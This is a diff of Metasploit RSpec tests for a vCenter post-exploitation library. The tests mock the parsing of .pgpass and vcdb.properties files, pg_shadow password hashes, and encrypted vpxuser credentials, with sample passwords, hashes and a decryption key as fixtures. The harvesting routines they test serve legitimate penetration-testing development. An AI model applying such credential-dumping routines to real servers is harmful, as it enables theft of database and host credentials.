||||
'password' => 'BN^qgk&a)Ee2dK@|',
|
||||
'port' => '5432',
|
||||
'username' => 'replicator'
|
||||
},
|
||||
{
|
||||
'database' => 'replication',
|
||||
'hostname' => '/var/run/vpostgres',
|
||||
'password' => 'BN^qgk&a)Ee2dK@|',
|
||||
'port' => '5432',
|
||||
'username' => 'replicator'
|
||||
},
|
||||
{
|
||||
'database' => 'postgres',
|
||||
'hostname' => 'localhost',
|
||||
'password' => 'i23rYgoPBQwpn!5',
|
||||
'port' => '5432',
|
||||
'username' => 'postgres'
|
||||
},
|
||||
{
|
||||
'database' => 'postgres',
|
||||
'hostname' => '127.0.0.1',
|
||||
'password' => 'i23rYgoPBQwpn!5',
|
||||
'port' => '5432',
|
||||
'username' => 'postgres'
|
||||
}
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the file has * for a port in the credentials' do
|
||||
it 'returns a list of hashes with the port set to 5432' do
|
||||
allow(subject).to receive(:file_exist?).and_return(true)
|
||||
allow(subject).to receive(:read_file).and_return('localhost:*:replication:replicator:BN^qgk&a)Ee2dK@|')
|
||||
expect(subject.process_pgpass_file).to eq([
|
||||
{
|
||||
'database' => 'replication',
|
||||
'hostname' => 'localhost',
|
||||
'password' => 'BN^qgk&a)Ee2dK@|',
|
||||
'port' => '5432',
|
||||
'username' => 'replicator'
|
||||
}
|
||||
])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#query_pg_shadow_values' do
|
||||
context 'when the command does not exist' do
|
||||
it 'returns nil' do
|
||||
allow(subject).to receive(:command_exists?).and_return(false)
|
||||
expect(subject.query_pg_shadow_values('test', 'test', 'test')).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command fails to find an entry' do
|
||||
it 'returns an empty array' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
|
||||
expect(subject.query_pg_shadow_values('test', 'test', 'test')).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command returns several entries' do
|
||||
it 'returns an array of hashes with the credentails' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return("postgres|md5fdb13b980a01e3d1ae99b5b55b6e4303\nreplicator|md5c2a01981014a380b63c0c7c66ad77ba9\nvc|md53b5a9fc0dd6c99567e9ca27c459b43d9\nvumuser|md5fc719b1b56f02981027379fd15125feb\ncns|md5d92e4534c059354dee12a7cc9a79faff")
|
||||
expect(subject.query_pg_shadow_values('test', 'test', 'test')).to eq([
|
||||
{ 'password_hash' => 'md5fdb13b980a01e3d1ae99b5b55b6e4303', 'user' => 'postgres' },
|
||||
{ 'password_hash' => 'md5c2a01981014a380b63c0c7c66ad77ba9', 'user' => 'replicator' },
|
||||
{ 'password_hash' => 'md53b5a9fc0dd6c99567e9ca27c459b43d9', 'user' => 'vc' },
|
||||
{ 'password_hash' => 'md5fc719b1b56f02981027379fd15125feb', 'user' => 'vumuser' },
|
||||
{ 'password_hash' => 'md5d92e4534c059354dee12a7cc9a79faff', 'user' => 'cns' }
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command returns several entries and one has no password hash' do
|
||||
it 'returns an array of hashes with the credentails without the hashless credential' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('postgres|md5fdb13b980a01e3d1ae99b5b55b6e4303
|
||||
archiver|')
|
||||
expect(subject.query_pg_shadow_values('test', 'test', 'test')).to eq([
|
||||
{ 'password_hash' => 'md5fdb13b980a01e3d1ae99b5b55b6e4303', 'user' => 'postgres' }
|
||||
])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#query_pg_shadow_values' do
|
||||
context 'when the command does not exist' do
|
||||
it 'returns nil' do
|
||||
allow(subject).to receive(:command_exists?).and_return(false)
|
||||
expect(subject.query_vpx_creds('test', 'test', 'test')).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command fails to find an entry' do
|
||||
it 'returns an empty array' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
|
||||
expect(subject.query_vpx_creds('test', 'test', 'test')).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command returns valid entries without a symkey' do
|
||||
it 'returns an array of hashes with the credentials' do
|
||||
# combination of https://github.com/rapid7/metasploit-framework/pull/16465#issuecomment-1117587575
|
||||
# and https://github.com/shmilylty/vhost_password_decrypt
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return("vpxuser|*tktZGW50GH4BEOXyWCr9WTu2PSMGWSvcqEsuAMnwcNuFO/rQPRsOyygRRY/WaM3IOI/BrqcThiaiM3j4Jw+KtA==|192.168.20.20|192.168.20.10|192.168.20.10\nvpxuser|*ZdvmNiLEXzZL/uhdW6Zb4Px4RR72iD+xftdA0n9hJ8xpFNJW/axpyKMQ8BJWIFTzzoxQnAm2PaX486yExLX7qg==|192.168.20.20|192.168.20.15|test1.local")
|
||||
expect(subject.query_vpx_creds('test', 'test', 'test')).to eq([
|
||||
{
|
||||
'dns_name' => '192.168.20.10',
|
||||
'encrypted_password' =>
|
||||
'*tktZGW50GH4BEOXyWCr9WTu2PSMGWSvcqEsuAMnwcNuFO/rQPRsOyygRRY/WaM3IOI/BrqcThiaiM3j4Jw+KtA==',
|
||||
'ip_address' => '192.168.20.10',
|
||||
'local_ip' => '192.168.20.20',
|
||||
'user' => 'vpxuser'
|
||||
},
|
||||
{
|
||||
'dns_name' => 'test1.local',
|
||||
'encrypted_password' =>
|
||||
'*ZdvmNiLEXzZL/uhdW6Zb4Px4RR72iD+xftdA0n9hJ8xpFNJW/axpyKMQ8BJWIFTzzoxQnAm2PaX486yExLX7qg==',
|
||||
'ip_address' => '192.168.20.15',
|
||||
'local_ip' => '192.168.20.20',
|
||||
'user' => 'vpxuser'
|
||||
}
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command returns valid entries with a symkey' do
|
||||
it 'returns an array of hashes with the credentials with a decrypted_password field' do
|
||||
# combination of https://github.com/rapid7/metasploit-framework/pull/16465#issuecomment-1117587575
|
||||
# and https://github.com/shmilylty/vhost_password_decrypt
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('vpxuser|*SN2otuvNvGRSC29lxhU4XQbgNOMyVawGF4UHA38w2zq59tX0WzkgkQTNBJSJpHvBvkYwyiR8xNAv1oquEOOLvQ==|192.168.20.20|192.168.20.15|test1.local')
|
||||
expect(subject.query_vpx_creds('test', 'test', 'test', 'f1d0d054e43ac880809c354cec681b3433e36fc4ea6b1480de05b7b86c3506cd')).to eq([
|
||||
{
|
||||
'dns_name' => 'test1.local',
|
||||
'encrypted_password' =>
|
||||
'*SN2otuvNvGRSC29lxhU4XQbgNOMyVawGF4UHA38w2zq59tX0WzkgkQTNBJSJpHvBvkYwyiR8xNAv1oquEOOLvQ==',
|
||||
'ip_address' => '192.168.20.15',
|
||||
'local_ip' => '192.168.20.20',
|
||||
'user' => 'vpxuser',
|
||||
'decrypted_password' => '-KOU.80J\I0n\Pcqya3F0af=z5Ix-5.u'
|
||||
}
|
||||
])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command returns valid entries with an invalid symkey' do
|
||||
it 'returns an array of hashes with the credentials with a decrypted_password field' do
|
||||
# combination of https://github.com/rapid7/metasploit-framework/pull/16465#issuecomment-1117587575
|
||||
# and https://github.com/shmilylty/vhost_password_decrypt
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('vpxuser|*SN2otuvNvGRSC29lxhU4XQbgNOMyVawGF4UHA38w2zq59tX0WzkgkQTNBJSJpHvBvkYwyiR8xNAv1oquEOOLvQ==|192.168.20.20|192.168.20.15|test1.local')
|
||||
expect(subject.query_vpx_creds('test', 'test', 'test', 'bad0d054e43ac880809c354cec681b3433e36fc4ea6b1480de05b7b86c3506cd')).to eq([
|
||||
{
|
||||
'dns_name' => 'test1.local',
|
||||
'encrypted_password' =>
|
||||
'*SN2otuvNvGRSC29lxhU4XQbgNOMyVawGF4UHA38w2zq59tX0WzkgkQTNBJSJpHvBvkYwyiR8xNAv1oquEOOLvQ==',
|
||||
'ip_address' => '192.168.20.15',
|
||||
'local_ip' => '192.168.20.20',
|
||||
'user' => 'vpxuser'
|
||||
}
|
||||
])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# XXX need to add a real user test
|
||||
describe '#get_vpx_users' do
|
||||
context 'when the command does not exist' do
|
||||
it 'returns nil' do
|
||||
allow(subject).to receive(:command_exists?).and_return(false)
|
||||
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command does not return expected content' do
|
||||
it 'returns empty array' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
|
||||
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the command succeeds' do
|
||||
it 'returns array of hashes with credentials' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('localhost|127.0.0.1|root|*')
|
||||
# we need to convert the XML:Doc back to a string so it can be tested correctly
|
||||
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to eq([
|
||||
{
|
||||
'fqdn' => 'localhost',
|
||||
'ip' => '127.0.0.1',
|
||||
'user' => 'root',
|
||||
'password' => ''
|
||||
}
|
||||
])
|
||||
end
|
||||
# XXX need to add a valid test where we actually decrypt something
|
||||
end
|
||||
end
|
||||
|
||||
describe '#query_pg_shadow_values' do
|
||||
context 'when the command does not exist' do
|
||||
it 'returns nil' do
|
||||
allow(subject).to receive(:command_exists?).and_return(false)
|
||||
expect(subject.get_vpx_customization_spec('test', 'test', 'test')).to be_nil
|
||||
end
|
||||
end
|
||||
context 'when the command doesnt return expected content' do
|
||||
it 'returns empty hash' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
|
||||
expect(subject.get_vpx_customization_spec('test', 'test', 'test')).to eq({})
|
||||
end
|
||||
end
|
||||
context 'when the command returns a valid entry' do
|
||||
it 'returns a valid processed XML doc' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('<xml></xml>')
|
||||
# we need to convert the XML:Doc back to a string so it can be tested correctly
|
||||
expect(subject.get_vpx_customization_spec('test', 'test', 'test').map { |k, v| [k.to_s, v.to_s] }.to_h).to eq({ '<xml></xml>' => "<?xml version=\"1.0\"?>\n<xml/>\n" })
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -332,50 +332,6 @@ RSpec.describe Msf::Post::Vcenter::Vcenter do
|
||||
end
|
||||
end
|
||||
|
||||
context 'gets vpx coustomization xml' do
|
||||
it 'from failing to find command' do
|
||||
allow(subject).to receive(:command_exists?).and_return(false)
|
||||
expect(subject.get_vpx_customization_spec('test', 'test', 'test')).to be_nil
|
||||
end
|
||||
it 'from failing to get a valid entry' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
|
||||
expect(subject.get_vpx_customization_spec('test', 'test', 'test')).to eq({})
|
||||
end
|
||||
it 'with a valid entry' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('<xml></xml>')
|
||||
# we need to convert the XML:Doc back to a string so it can be tested correctly
|
||||
expect(subject.get_vpx_customization_spec('test', 'test', 'test').map { |k, v| [k.to_s, v.to_s] }.to_h).to eq({ '<xml></xml>' => "<?xml version=\"1.0\"?>\n<xml/>\n" })
|
||||
end
|
||||
end
|
||||
# XXX need to add a real user test
|
||||
context 'gets vpx users' do
|
||||
it 'from failing to find command' do
|
||||
allow(subject).to receive(:command_exists?).and_return(false)
|
||||
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to be_nil
|
||||
end
|
||||
it 'from failing to get a valid entry' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('this is not valid')
|
||||
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to eq([])
|
||||
end
|
||||
it 'with a valid entry' do
|
||||
allow(subject).to receive(:command_exists?).and_return(true)
|
||||
allow(subject).to receive(:cmd_exec).and_return('localhost|127.0.0.1|root|*')
|
||||
# we need to convert the XML:Doc back to a string so it can be tested correctly
|
||||
expect(subject.get_vpx_users('test', 'test', 'test', 'test')).to eq([
|
||||
{
|
||||
'fqdn' => 'localhost',
|
||||
'ip' => '127.0.0.1',
|
||||
'user' => 'root',
|
||||
'password' => ''
|
||||
}
|
||||
])
|
||||
end
|
||||
# XXX need to add a valid test where we actually decrypt something
|
||||
end
|
||||
|
||||
context 'gets vcdb properties' do
|
||||
it 'from failing to find command' do
|
||||
allow(subject).to receive(:file_exist?).and_return(false)
|
||||
@@ -384,10 +340,12 @@ RSpec.describe Msf::Post::Vcenter::Vcenter do
|
||||
it 'from failing to get a valid entry' do
|
||||
allow(subject).to receive(:file_exist?).and_return(true)
|
||||
allow(subject).to receive(:read_file).and_return('this is not valid')
|
||||
allow(subject).to receive(:is_root?).and_return(true)
|
||||
expect(subject.process_vcdb_properties_file).to eq({})
|
||||
end
|
||||
it 'and processes them correctly' do
|
||||
allow(subject).to receive(:file_exist?).and_return(true)
|
||||
allow(subject).to receive(:is_root?).and_return(true)
|
||||
allow(subject).to receive(:read_file).and_return("driver = org.postgresql.Driver\ndbtype = PostgreSQL\nurl = jdbc:postgresql://localhost:5432/VCDB\nusername = vc\npassword = MB&|<)haN6Q>{K3O\npassword.encrypted = false")
|
||||
expect(subject.process_vcdb_properties_file).to eq({
|
||||
'driver' => 'org.postgresql.Driver',
|
||||
|
||||
Reference in New Issue
Block a user